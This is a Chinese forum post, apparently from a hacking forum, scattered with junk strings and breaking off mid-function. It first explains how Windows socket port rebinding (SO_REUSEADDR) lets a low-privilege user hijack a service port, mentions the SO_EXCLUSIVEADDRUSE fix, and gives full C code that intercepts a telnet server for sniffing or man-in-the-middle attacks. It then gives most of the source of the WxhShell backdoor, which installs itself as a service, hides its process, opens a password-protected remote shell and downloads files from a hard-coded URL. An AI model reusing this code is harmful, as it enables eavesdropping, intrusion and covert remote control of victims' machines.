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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: bME3" e{O  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); md s\~l73  
`v er "s;  
  saddr.sin_family = AF_INET; 9D21e(7X  
qa?y lR"kA  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); pdu  
' qVa/GJ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Xqw7lj;K  
1r4/McB  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 tYa*%|!v  
I-hhHm<@  
  这意味着什么?意味着可以进行如下的攻击: H|O}Dsj  
3S?+G)qKo  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hdb4E|'A  
GjG3aqP&!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 8B9zo&  
#{1fb%L{i  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .9 QQ]fLs  
%q^]./3p  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  v\FD~   
z$b!J$A1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 CxV%/ChJ#  
B.jYU  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 g&wQ^  
v,B\+q/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _Y=yR2O  
i|GC 'XD@  
  #include ARo5 Ss{  
  #include _%B`Y ?I`  
  #include E]Q)pZ{Jb  
  #include    b<7f:drVC  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ]42 l:at  
  int main() +3CMfYsr8  
  { aoS1Yt'@  
  WORD wVersionRequested; r0>T7yPAK  
  DWORD ret; 3\7$)p+c  
  WSADATA wsaData; T(DE^E@a  
  BOOL val; hrF4 a$  
  SOCKADDR_IN saddr; w (1a{m?ht  
  SOCKADDR_IN scaddr; >d\I*"C+d  
  int err; <rs]@J'p  
  SOCKET s; ks$G6WC  
  SOCKET sc; P $S P4F  
  int caddsize; \9^@,kfP  
  HANDLE mt; "N_?yA#(j  
  DWORD tid;   " cg>g/  
  wVersionRequested = MAKEWORD( 2, 2 ); <ZEA&:p  
  err = WSAStartup( wVersionRequested, &wsaData ); AtI,& S#{  
  if ( err != 0 ) { yW 3h_08  
  printf("error!WSAStartup failed!\n"); 0b 'R5I.M  
  return -1; L8Q!6oO=<  
  } Y`uCDfcQ  
  saddr.sin_family = AF_INET; (Bz(KyD[  
   J;dFmZOk  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u!W00;`L  
6~LpBlb  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Ok!{2$P8U9  
  saddr.sin_port = htons(23); ;U&VPIX$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rv:O|wZ  
  { "5K: "m  
  printf("error!socket failed!\n"); |~Iw   
  return -1; AP%h!b5v  
  } ";]m]PRAam  
  val = TRUE; 9`AQsZ2  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 U^D7T|P$V  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) b8&9pLl  
  { ,fn=%tiUk  
  printf("error!setsockopt failed!\n"); }=gGs  
  return -1; RU=%yk-gM  
  } &3V4~L1aEg  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; g,nEiL  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `u-Y 5mY  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &7LfNN`  
gN%R-e0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) mf#oa~_  
  { WyP1"e^ 9  
  ret=GetLastError(); wlJ1,)n^2  
  printf("error!bind failed!\n"); #A!0KN;GC2  
  return -1; <>TBM^  
  } yyc&'J  
  listen(s,2); KMV!Hqkk  
  while(1) O9Aooe4W=  
  { syF/jWM5  
  caddsize = sizeof(scaddr); (!s[~O6  
  //接受连接请求 jk@]d5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); i{2KMa{K  
  if(sc!=INVALID_SOCKET) P;34Rd  
  { 4)_ [)MZ\j  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); SW7%SX,xM  
  if(mt==NULL) .kVga+la?  
  { l}x{.q7U l  
  printf("Thread Creat Failed!\n"); ZfU_4Pl->  
  break; @u^Ib33  
  } 43Q&<r$[T  
  } sp%7iNs  
  CloseHandle(mt); JLhp25{x  
  } y3#\mBiw  
  closesocket(s); SzgVvmM}  
  WSACleanup(); ctGjqHo  
  return 0; pyKMi /)bL  
  }   j^gF~ Wz^  
  DWORD WINAPI ClientThread(LPVOID lpParam) LHp s2,  
  { ` Oi@7 /oT  
  SOCKET ss = (SOCKET)lpParam; 7_RU*U^  
  SOCKET sc; :.<&Y=^  
  unsigned char buf[4096]; L@wnzt  
  SOCKADDR_IN saddr; ag6S"IXh  
  long num; 'py k  
  DWORD val; #!2gxm;g  
  DWORD ret; pmC@ fB  
  //如果是隐藏端口应用的话,可以在此处加一些判断 vd~O:=)4  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   x{m)I <.:  
  saddr.sin_family = AF_INET; 4[?Q*f!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");  Po5}Vh  
  saddr.sin_port = htons(23); j[9 B,C4  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) wP%;9y2B  
  { <:?&}'aA  
  printf("error!socket failed!\n"); 04s N 4C  
  return -1; f5N~K>  
  } v[x`I;  
  val = 100; NoMC* ",b>  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2}NfR8 N  
  { B~^\jRd "  
  ret = GetLastError(); ^JTfRZ :a  
  return -1; %UmE=V  
  } zMa`olTZ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ` F)Iv:;y,  
  { [f'7/w+  
  ret = GetLastError(); U5Y*xm<  
  return -1; @:Ns`+ W*  
  } hm& ~6rB  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ZrTq)BZ  
  { thh, V   
  printf("error!socket connect failed!\n"); \sk,3b-&'  
  closesocket(sc); [-l^,,E  
  closesocket(ss); Uc4r  
  return -1; e"v Eh  
  } eu# ||  
  while(1) ~Sh}\&3p  
  { '@$?A>.cj  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \R~Lf+q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !n7?w@2a'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 5+U~ZW0|+  
  num = recv(ss,buf,4096,0); I0Vm^\8  
  if(num>0) ( nBsf1l  
  send(sc,buf,num,0); zmdOL9"a  
  else if(num==0) O&}07(  
  break; As"'KR  
  num = recv(sc,buf,4096,0); VR'w$mp  
  if(num>0) b c+' n  
  send(ss,buf,num,0); hJ|z8Sy@1  
  else if(num==0) WYq, i}S  
  break; G^+0</Q  
  } b^v.FK46G  
  closesocket(ss); ;>PV]0bOm>  
  closesocket(sc); -/h$Yb  
  return 0 ; , 7}Ri  
  } ]|-y[iu  
%hXa5}JL  
a(m#GES  
========================================================== }RD,JgmV  
G",+jR]  
下边附上一个代码,,WXhSHELL "MyYu}AD  
1r;Q5[@  
========================================================== 46mu,v  
Fr3Q"(  
#include "stdafx.h" j*CnnM#n  
>9|Q,/b0  
#include <stdio.h> 'HOt?lpu!  
#include <string.h> blLX ncyD  
#include <windows.h> m^TkFt<BM  
#include <winsock2.h> jildiT[s  
#include <winsvc.h> P| G:h&  
#include <urlmon.h> n |(Y?`(  
z8gp<5=  
#pragma comment (lib, "Ws2_32.lib") 9{+B l NZ  
#pragma comment (lib, "urlmon.lib") ?f a/}|T  
jML}{>Gy8S  
#define MAX_USER   100 // 最大客户端连接数 tf>?;  
#define BUF_SOCK   200 // sock buffer C3 D1rS/I  
#define KEY_BUFF   255 // 输入 buffer ~V(WD;Mk  
,#s}nJ4  
#define REBOOT     0   // 重启 9D&ocV3QV  
#define SHUTDOWN   1   // 关机 grv 3aa@  
xNT[((  
#define DEF_PORT   5000 // 监听端口 : G<1   
OYe @P  
#define REG_LEN     16   // 注册表键长度 .rwZ`MP  
#define SVC_LEN     80   // NT服务名长度 ,UY],;ib  
^G5 _d"Gr  
// 从dll定义API [~$9n_O94  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 42Z2Mjtk  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J.~$^-&!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N8:vn0ww  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Cfa?LgSz  
{AJs pLcG  
// wxhshell配置信息 L> cTI2NB.  
struct WSCFG { x H\5T!  
  int ws_port;         // 监听端口 !)ee{CwNc  
  char ws_passstr[REG_LEN]; // 口令 d6wsT\S  
  int ws_autoins;       // 安装标记, 1=yes 0=no [0  3Aej  
  char ws_regname[REG_LEN]; // 注册表键名 1XwbsKQ}  
  char ws_svcname[REG_LEN]; // 服务名 ^G=s<pp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 $=t&NM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xaejG/'iK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7Qz Uw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3. Kh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,LG6py&aT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 $ -;,O8yR  
5r@x$*>e  
}; ij/ |~-!  
@ 3FTf"#Y  
// default Wxhshell configuration U^[<G6<9]  
struct WSCFG wscfg={DEF_PORT, 7?e*b(vd  
    "xuhuanlingzhe", q0$}MB6  
    1, e;!si>N  
    "Wxhshell", g;vG6!;E\  
    "Wxhshell", OSxr@  
            "WxhShell Service", =ejkE; %L  
    "Wrsky Windows CmdShell Service", @"];\E$sI  
    "Please Input Your Password: ", Q!MS_ #O  
  1, YS%HZFY, "  
  "http://www.wrsky.com/wxhshell.exe", 6!O~:\`DJ  
  "Wxhshell.exe" !fjDO!,!  
    }; Kh}#At^C8e  
5^*I]5t8  
// 消息定义模块 iq=<LOx  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L3,p8-d9Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Beq zw0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; eNpGa0 eG  
char *msg_ws_ext="\n\rExit."; Y0 Ta&TYZ0  
char *msg_ws_end="\n\rQuit."; *e!0ZB3J  
char *msg_ws_boot="\n\rReboot..."; b v~"_)C  
char *msg_ws_poff="\n\rShutdown..."; P;{f+I|`  
char *msg_ws_down="\n\rSave to "; wm !Y5  
_5y3<H<?  
char *msg_ws_err="\n\rErr!"; z\{y[3-  
char *msg_ws_ok="\n\rOK!"; *#w+*ywVZH  
i_Ab0vye  
char ExeFile[MAX_PATH]; w>J|416  
int nUser = 0; K#kU6/  
HANDLE handles[MAX_USER]; |-%[Z  
int OsIsNt; ;i@,TU  
*6?h,Dt L  
SERVICE_STATUS       serviceStatus; GBVw6+(c  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; w/#k.YE  
L W 8LD|@  
// 函数声明 h%9#~gJ})  
int Install(void); Z~CL|=  
int Uninstall(void); s,)Z8H  
int DownloadFile(char *sURL, SOCKET wsh); 9s7sn*aB#5  
int Boot(int flag); M<4~ewWJ  
void HideProc(void); 7X*$Fu<  
int GetOsVer(void); tU.Y$%4  
int Wxhshell(SOCKET wsl); sFuB[ JJ}  
void TalkWithClient(void *cs); V'K1kYb  
int CmdShell(SOCKET sock); .Ce30VE-  
int StartFromService(void); K1Snag  
int StartWxhshell(LPSTR lpCmdLine); Tq,Kel  
>hQeu1 ~W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); S=@.<gS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); yyW;VKN  
9(V12gn+lk  
// 数据结构和表定义 }4b 4<Sm_h  
SERVICE_TABLE_ENTRY DispatchTable[] = 6w|s1!B l  
{ >|'u:`A  
{wscfg.ws_svcname, NTServiceMain}, ?A+-k4l  
{NULL, NULL} slaYr`u  
}; ,4M7:=gf  
Nr8#/H2f  
// 自我安装 <F{EZ Ii  
int Install(void) @ (<C{  
{ Q}C)az  
  char svExeFile[MAX_PATH]; ZF^$?;'3  
  HKEY key; @8{-B;   
  strcpy(svExeFile,ExeFile); jgNdcP  
8lk@ev=O&  
// 如果是win9x系统,修改注册表设为自启动 uxLT*,  
if(!OsIsNt) { GH[ATL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xkV(E!O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~-ZquJ-  
  RegCloseKey(key); ? Dm={S6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4+I@   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ammlUWl  
  RegCloseKey(key); w+($= n~  
  return 0; 0N>NX?r  
    } H\H4AAP5F$  
  } iq*]CF  
} pY]T3 2  
else { 9K,PT.c  
kCRfO}wt3  
// 如果是NT以上系统,安装为系统服务 |qTvy,U[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A:! _ &  
if (schSCManager!=0) rO4R6A  
{ [@ >}  
  SC_HANDLE schService = CreateService `Y]t*` e|  
  ( xU<WUfS1  
  schSCManager, W>W b|W  
  wscfg.ws_svcname, ?"04u*u3  
  wscfg.ws_svcdisp, )}w2'(!X8  
  SERVICE_ALL_ACCESS, Z$jqB~=^e  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , In13crr4!  
  SERVICE_AUTO_START, o?5m^S14[1  
  SERVICE_ERROR_NORMAL, W'lejOiw  
  svExeFile, ~j3O0s<gK  
  NULL, c[VVCN8dA  
  NULL, ;\a?xtIy  
  NULL, ,Y9bXC8+dU  
  NULL, ~P!\;S  
  NULL x9\z^GU%H  
  ); eLFxGZZ  
  if (schService!=0) &`x1_*l  
  { hvW FzT5  
  CloseServiceHandle(schService); lEAf\T7  
  CloseServiceHandle(schSCManager); `st3iTLZY  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %[S-"k  
  strcat(svExeFile,wscfg.ws_svcname); 'aV])(Wm>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HE!"3S2S&+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0MpZdJ  
  RegCloseKey(key); =)b!M^=X-a  
  return 0; Y]!WPJ`f2  
    } zD^*->`p  
  } "{9^SPsp  
  CloseServiceHandle(schSCManager); +%Z#!1u  
} gpT~3c;l=  
} Z=R 6?jU*n  
0nr5(4h  
return 1; nMM:Tr  
} l(A)Gd5>  
<=nOyT9  
// 自我卸载 2 o)8'Lp  
int Uninstall(void) ]?S@g'Jd0Q  
{ *RYok{w  
  HKEY key; ^O6eFD U  
Hnft1   
if(!OsIsNt) { ,F%2'W  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S$N!Dj@e;  
  RegDeleteValue(key,wscfg.ws_regname); i1dE.f ;  
  RegCloseKey(key); 8yCt(ms  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s@ 02 ?+/  
  RegDeleteValue(key,wscfg.ws_regname); Uv)B  
  RegCloseKey(key); 7m$EZTw?  
  return 0; mP*Ct6628n  
  } NI  r"i2  
} R E0ud_q2  
} d HN"pNNs  
else { Lm&BT)*  
l4bL N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~`97?6*Ra  
if (schSCManager!=0) -kk0zg &|i  
{ Talmc|h  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {k}$L|w  
  if (schService!=0) *3iEO>  
  { 0?o<cC1Z  
  if(DeleteService(schService)!=0) { +lplQh@RB  
  CloseServiceHandle(schService); K>2M*bGc p  
  CloseServiceHandle(schSCManager); -bd'sv  
  return 0; iV5S[uy72.  
  } b9;w3Ba  
  CloseServiceHandle(schService); ni$;"R GC  
  } "|Gr3sD  
  CloseServiceHandle(schSCManager); Np"~1z.(b  
} A('o &H  
} ;,lFocGv  
Lm8uN?  
return 1; BaVooN~C  
} =28ZSo^  
9^+E$V1@  
// 从指定url下载文件 K+\2cf?bU  
int DownloadFile(char *sURL, SOCKET wsh) dL]wu! wE  
{ eC3 ~|G_O  
  HRESULT hr; 'iWDYZ?  
char seps[]= "/"; b+`qGJrej  
char *token; yGY:EvH^?  
char *file; !$NQF/Ol  
char myURL[MAX_PATH]; WJJmM*>JW  
char myFILE[MAX_PATH]; 0Ke2%+yqJ  
~KQiNkA\|l  
strcpy(myURL,sURL); S3UJ)@ E  
  token=strtok(myURL,seps); g43(N!@g  
  while(token!=NULL) &gF9VY  
  { [*J?TNk  
    file=token; :85QwN]\  
  token=strtok(NULL,seps); TKp2C5bX  
  } gNJdP!(t  
!bIE%cq  
GetCurrentDirectory(MAX_PATH,myFILE); B[IWgvB(e  
strcat(myFILE, "\\"); !]3kFWs  
strcat(myFILE, file); a9u2Wlz  
  send(wsh,myFILE,strlen(myFILE),0);  RnSll-  
send(wsh,"...",3,0); bkuJN%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^[&,MQU{7  
  if(hr==S_OK) Wl7S<>hg4  
return 0; 7,s5Gd-  
else LAFxeo  
return 1; -^Qm_lN  
&+0?Xip{Z  
} 8<x& Xd  
O\SH;y,N  
// 系统电源模块 m3~_uc/+D  
int Boot(int flag) O"X:3srJ`  
{ M._;3_)%/  
  HANDLE hToken; fK _uuw4  
  TOKEN_PRIVILEGES tkp; '#C5m#v  
ce [ Maw  
  if(OsIsNt) { |xF!3GGms  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v\@pZw=x  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Jj/}GVNc7  
    tkp.PrivilegeCount = 1; y=0)vi{]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d}y")q|F  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nYR#Q|  
if(flag==REBOOT) { G8zbb  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) } eF r,bJ  
  return 0; u#y#(1 =  
} ,D'm#Fti  
else { .D;6 r4S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9}_'  
  return 0; i;atYltEJ2  
} &e78xtA{  
  } X~cdM1z?  
  else {  `-JVz{z  
if(flag==REBOOT) { UfIr"bU6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) - ~4na{6x  
  return 0;  =W&m{F96  
} ~{$c|  
else { CpB,L  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) YG /@=Z.  
  return 0; n.i 8?:  
} .SLpgYFL{  
} mo+!79&  
uq/Fapl  
return 1; qyAnq%B}  
} l-P6B9e|\  
cF_`QRtO  
// win9x进程隐藏模块 Dlpmm2  
void HideProc(void) G3 |x%/Fbp  
{ P,xIDj4d  
^?wR{q"8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); M.xZU\'ty  
  if ( hKernel != NULL ) D2GF4%|  
  { }'?qUy3x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8A5/jqnqt  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x4/{XRQ  
    FreeLibrary(hKernel); OwEu S#-  
  } PD^G$LT  
Y9gw ('\w  
return; I:HrBhI)wP  
} 4AKr.a0q  
=j{tFxJ  
// 获取操作系统版本 4l{$dtKbI  
int GetOsVer(void) 93Zij<bH?e  
{ =@pD>h/~  
  OSVERSIONINFO winfo; sgDSl@lB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xXc>YTK'  
  GetVersionEx(&winfo); ?68~g<d,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) icX4n  
  return 1; MV??S{^4  
  else ~o/k?l  
  return 0; SQhVdYU1'  
} Faa>bc~E  
{6WG  
// 客户端句柄模块 q 7 <d|s  
int Wxhshell(SOCKET wsl) OR*JWW[]  
{ 3HBh 3p5  
  SOCKET wsh; +q;{ %3C  
  struct sockaddr_in client; &AOGg\  
  DWORD myID; :8]8[  
}*U|^$FEU  
  while(nUser<MAX_USER) YU"/p|!1  
{ I 44]W&  
  int nSize=sizeof(client); i]N<xcF9N*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w@&z0ODJ  
  if(wsh==INVALID_SOCKET) return 1; I`*5z;Q!%@  
S0Io$\ha  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kz1#"8Zd!  
if(handles[nUser]==0) o&&`_"18  
  closesocket(wsh); Kc95yt  
else 7y&6q`y E  
  nUser++; nu7 R  
  } NJ+$3n om  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vy}_aD{B  
NuSdN> 8ll  
  return 0; G<=I\T'g;  
} Y<u%J#'[  
/Jc{aw  
// 关闭 socket 8nu!5 3  
void CloseIt(SOCKET wsh) qHp2;  
{ 0O,;[l  
closesocket(wsh); !mTq6H12 !  
nUser--; vBOY[>=  
ExitThread(0); p^*a>d:d]  
} /8Y8-&K0  
RRPPojKZ  
// 客户端请求句柄 B`<}YVA  
void TalkWithClient(void *cs) 3cgq'ob  
{ uS,?oS  
4r `I)  
  SOCKET wsh=(SOCKET)cs; <8;~4"'a  
  char pwd[SVC_LEN]; 38T] qz[Sn  
  char cmd[KEY_BUFF]; l`N4P  
char chr[1];  ;}?ZH4.S  
int i,j; YPGzI]\  
W^h,O+vk  
  while (nUser < MAX_USER) { fv#ov+B  
" acI:cl?,  
if(wscfg.ws_passstr) { 8b.k*,r>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); W4&8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k}F7Jw#.  
  //ZeroMemory(pwd,KEY_BUFF); ;Z"MO@9:  
      i=0; f|M^UHt8*  
  while(i<SVC_LEN) { <W!nlh  
2I}+AW!!=  
  // 设置超时 ,*U-o}{8C?  
  fd_set FdRead; 717THci3Y  
  struct timeval TimeOut; [ i, [^  
  FD_ZERO(&FdRead); E"_{S.Wc  
  FD_SET(wsh,&FdRead); 1HKA`]D"p  
  TimeOut.tv_sec=8; 0?8>{!I  
  TimeOut.tv_usec=0; _hyqHvP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -&`_bf%M  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E b:iym0  
qbsod  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K<:%ofB"S  
  pwd=chr[0]; c5$DHT @N"  
  if(chr[0]==0xd || chr[0]==0xa) { (J%4}Dm  
  pwd=0; ] 1pIIX}  
  break; V\x'w*FP  
  } 2,q*8=?{6P  
  i++; ?k4Hk$V  
    } dp^PiyL  
gJr)z7W'8  
  // 如果是非法用户,关闭 socket )W 5g-@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); n]Yz<#  
} $(;Ts)P  
w-ald?`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fcEm :jEZ*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &WBpd}|+Y  
2<5LQr  
while(1) { G gA:;f46  
X!LiekU!D  
  ZeroMemory(cmd,KEY_BUFF); WN{8gL&y  
^8~TsK~  
      // 自动支持客户端 telnet标准   PdVx&BL*  
  j=0; ?i0+h7 =6  
  while(j<KEY_BUFF) { DJgM>&Y6,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `Wjq$*  
  cmd[j]=chr[0]; C(v'7H{4cW  
  if(chr[0]==0xa || chr[0]==0xd) { ? OF $J|h  
  cmd[j]=0; QxLrpM"O  
  break; fqbeO9x  
  } VnSO>O  
  j++; 7F>]zrbK  
    } kVM*[<k  
~&p]kmwXSX  
  // 下载文件 O0z-jZ,])  
  if(strstr(cmd,"http://")) { NR(rr.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); USN'-Ah  
  if(DownloadFile(cmd,wsh)) o g9|}E>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); )e P Qxx  
  else Cj3Xp~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9 c9$cnQ  
  } xjU0&  
  else { hz;SDaBA  
`Zo5!"'  
    switch(cmd[0]) { jrN 5l1np  
  #e-7LmO~  
  // 帮助 paD[4L?4Hk  
  case '?': { fgtwV ji  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .Qn#wub  
    break; M5+R8ttc  
  } =/|GWQ j  
  // 安装 =Xr{ Dg  
  case 'i': { ,e1c,}  
    if(Install()) =v\}y+ Yh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W`_Wi*z4  
    else 3=ME$%f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6zU0 8z0-  
    break; rtvLLOIO  
    } |>j^$^l~  
  // 卸载 ;WN% tI)  
  case 'r': { "7+^`?  
    if(Uninstall()) dfVI*5[Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ( zm!_~1  
    else V4"o.G3\o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); st"@kHQ3  
    break; :%mls Nw  
    } 7YTO{E6]d\  
  // 显示 wxhshell 所在路径 TTj] _R{n  
  case 'p': { Q_,!(N  
    char svExeFile[MAX_PATH]; L!33`xef'  
    strcpy(svExeFile,"\n\r"); [*) 2Ou  
      strcat(svExeFile,ExeFile); iWW!'u$+I`  
        send(wsh,svExeFile,strlen(svExeFile),0); u SZfim@Z7  
    break; i`CNgScF>  
    } N|>MqH,Bt  
  // 重启 E.:eO??g  
  case 'b': { w].DLoz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); kp[&SKU c  
    if(Boot(REBOOT)) 7]L}~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NPBOG1q%  
    else { ',FVT4OMw  
    closesocket(wsh); SP2";,%/9  
    ExitThread(0); ;+f(1=x  
